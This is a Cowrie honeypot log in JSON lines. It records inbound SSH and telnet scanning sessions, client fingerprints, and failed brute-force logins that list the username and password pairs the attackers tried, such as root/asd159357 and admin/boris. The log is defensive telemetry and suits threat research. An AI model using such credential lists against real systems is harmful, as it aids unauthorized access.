{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:07.689249Z","src_ip":"58.186.20.101","session":"15ad47d41006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46560,"dst_ip":"10.17.0.5","dst_port":23,"session":"d213235fb08e","protocol":"telnet","message":"New connection: 137.184.155.248:46560 (10.17.0.5:23) [session: d213235fb08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:08.269612Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:08.669576Z","src_ip":"58.186.20.101","session":"15ad47d41006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"111111","message":"login attempt [ubuntu/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:09.681197Z","src_ip":"58.186.20.101","session":"15ad47d41006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:10.940577Z","src_ip":"58.186.20.101","session":"15ad47d41006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60036,"dst_ip":"10.17.0.5","dst_port":23,"session":"b17e17668f6c","protocol":"telnet","message":"New connection: 137.184.155.248:60036 (10.17.0.5:23) [session: b17e17668f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:13.701451Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60048,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4f0aeb3a948","protocol":"telnet","message":"New connection: 137.184.155.248:60048 (10.17.0.5:23) [session: d4f0aeb3a948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:16.710222Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60956,"dst_ip":"159.203.135.109","dst_port":23,"session":"50db26c72010","protocol":"telnet","message":"New connection: 185.26.126.47:60956 (159.203.135.109:23) [session: 50db26c72010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:23.112542Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.237.44.129","src_port":41600,"dst_ip":"159.203.135.109","dst_port":23,"session":"07eb5ec9fd41","protocol":"telnet","message":"New connection: 45.237.44.129:41600 (159.203.135.109:23) [session: 07eb5ec9fd41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:23.161578Z"}
{"eventid":"cowrie.session.closed","duration":12.7773597240448,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:35.938772Z","src_ip":"45.237.44.129","session":"07eb5ec9fd41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.155.106.101","src_port":58964,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bc2f1a78289","protocol":"ssh","message":"New connection: 61.155.106.101:58964 (10.17.0.5:22) [session: 6bc2f1a78289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:38.305869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:38.310890Z","src_ip":"61.155.106.101","session":"6bc2f1a78289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:38.554602Z","src_ip":"61.155.106.101","session":"6bc2f1a78289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34906,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91cd6430baa","protocol":"telnet","message":"New connection: 137.184.155.248:34906 (10.17.0.5:23) [session: f91cd6430baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:42.938773Z"}
{"eventid":"cowrie.session.closed","duration":3.6718497276306152,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:46.610493Z","src_ip":"137.184.155.248","session":"f91cd6430baa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.431798696517944,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:48.641785Z","src_ip":"137.184.155.248","session":"f78236b04619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34910,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a80a28a50ef","protocol":"telnet","message":"New connection: 137.184.155.248:34910 (10.17.0.5:23) [session: 7a80a28a50ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:48.701779Z"}
{"eventid":"cowrie.session.closed","duration":44.89588403701782,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:53.165369Z","src_ip":"137.184.155.248","session":"d213235fb08e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.17051672935486,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:04:59.871854Z","src_ip":"137.184.155.248","session":"b17e17668f6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.30445718765259,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:03.014562Z","src_ip":"137.184.155.248","session":"d4f0aeb3a948","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00497961044312,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:05.963065Z","src_ip":"189.219.54.254","session":"6fecd4b36b59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.95690870285034,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:08.069327Z","src_ip":"185.26.126.47","session":"50db26c72010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":46642,"dst_ip":"159.203.135.109","dst_port":22,"session":"e64bcf7bf17e","protocol":"ssh","message":"New connection: 193.24.211.95:46642 (159.203.135.109:22) [session: e64bcf7bf17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:20.734355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:20.745901Z","src_ip":"193.24.211.95","session":"e64bcf7bf17e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:20.845133Z","src_ip":"193.24.211.95","session":"e64bcf7bf17e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cat1029","message":"login attempt [root/cat1029] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:21.269859Z","src_ip":"193.24.211.95","session":"e64bcf7bf17e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:22.380760Z","src_ip":"193.24.211.95","session":"e64bcf7bf17e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":41170,"dst_ip":"159.203.135.109","dst_port":22,"session":"306418799f87","protocol":"ssh","message":"New connection: 202.125.94.71:41170 (159.203.135.109:22) [session: 306418799f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:37.235862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:37.241038Z","src_ip":"202.125.94.71","session":"306418799f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:37.504315Z","src_ip":"202.125.94.71","session":"306418799f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.250614166259766,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:37.952273Z","src_ip":"137.184.155.248","session":"7a80a28a50ef","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd159357","message":"login attempt [root/asd159357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:38.585305Z","src_ip":"202.125.94.71","session":"306418799f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:39.852279Z","src_ip":"202.125.94.71","session":"306418799f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57242,"dst_ip":"10.17.0.5","dst_port":23,"session":"827b2481e478","protocol":"telnet","message":"New connection: 137.184.155.248:57242 (10.17.0.5:23) [session: 827b2481e478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:53.947042Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57258,"dst_ip":"10.17.0.5","dst_port":23,"session":"d18c1ff9f105","protocol":"telnet","message":"New connection: 137.184.155.248:57258 (10.17.0.5:23) [session: d18c1ff9f105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:05:54.165526Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52300,"dst_ip":"10.17.0.5","dst_port":23,"session":"b94b8a56a434","protocol":"telnet","message":"New connection: 137.184.155.248:52300 (10.17.0.5:23) [session: b94b8a56a434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:04.432554Z"}
{"eventid":"cowrie.session.closed","duration":4.321572542190552,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:08.753996Z","src_ip":"137.184.155.248","session":"b94b8a56a434","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52312,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7cbe3e5f07c","protocol":"telnet","message":"New connection: 137.184.155.248:52312 (10.17.0.5:23) [session: d7cbe3e5f07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:10.244417Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":40546,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6cbf2bda854","protocol":"telnet","message":"New connection: 137.184.155.248:40546 (10.17.0.5:23) [session: b6cbf2bda854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:13.172380Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":56662,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a4ff849ce7b","protocol":"ssh","message":"New connection: 58.186.20.101:56662 (10.17.0.5:22) [session: 6a4ff849ce7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:14.907780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:14.913514Z","src_ip":"58.186.20.101","session":"6a4ff849ce7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:15.169888Z","src_ip":"58.186.20.101","session":"6a4ff849ce7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"123456789","message":"login attempt [test2/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:16.943630Z","src_ip":"58.186.20.101","session":"6a4ff849ce7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:18.199215Z","src_ip":"58.186.20.101","session":"6a4ff849ce7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":38892,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aba0ef66260","protocol":"telnet","message":"New connection: 137.184.155.248:38892 (10.17.0.5:23) [session: 4aba0ef66260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:23.908067Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":38904,"dst_ip":"10.17.0.5","dst_port":22,"session":"db2cd7e963e3","protocol":"ssh","message":"New connection: 203.90.110.186:38904 (10.17.0.5:22) [session: db2cd7e963e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:29.463830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:29.468836Z","src_ip":"203.90.110.186","session":"db2cd7e963e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:29.679177Z","src_ip":"203.90.110.186","session":"db2cd7e963e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":38904,"dst_ip":"10.17.0.5","dst_port":23,"session":"7994f0b94e5e","protocol":"telnet","message":"New connection: 137.184.155.248:38904 (10.17.0.5:23) [session: 7994f0b94e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:30.727161Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"boris","message":"login attempt [admin/boris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:30.944086Z","src_ip":"203.90.110.186","session":"db2cd7e963e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:32.155327Z","src_ip":"203.90.110.186","session":"db2cd7e963e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46392,"dst_ip":"159.203.135.109","dst_port":23,"session":"704560cb13ac","protocol":"telnet","message":"New connection: 213.129.84.225:46392 (159.203.135.109:23) [session: 704560cb13ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:32.295338Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.252.204.241","src_port":34144,"dst_ip":"10.17.0.5","dst_port":23,"session":"555abcd0cf6d","protocol":"telnet","message":"New connection: 187.252.204.241:34144 (10.17.0.5:23) [session: 555abcd0cf6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:34.987448Z"}
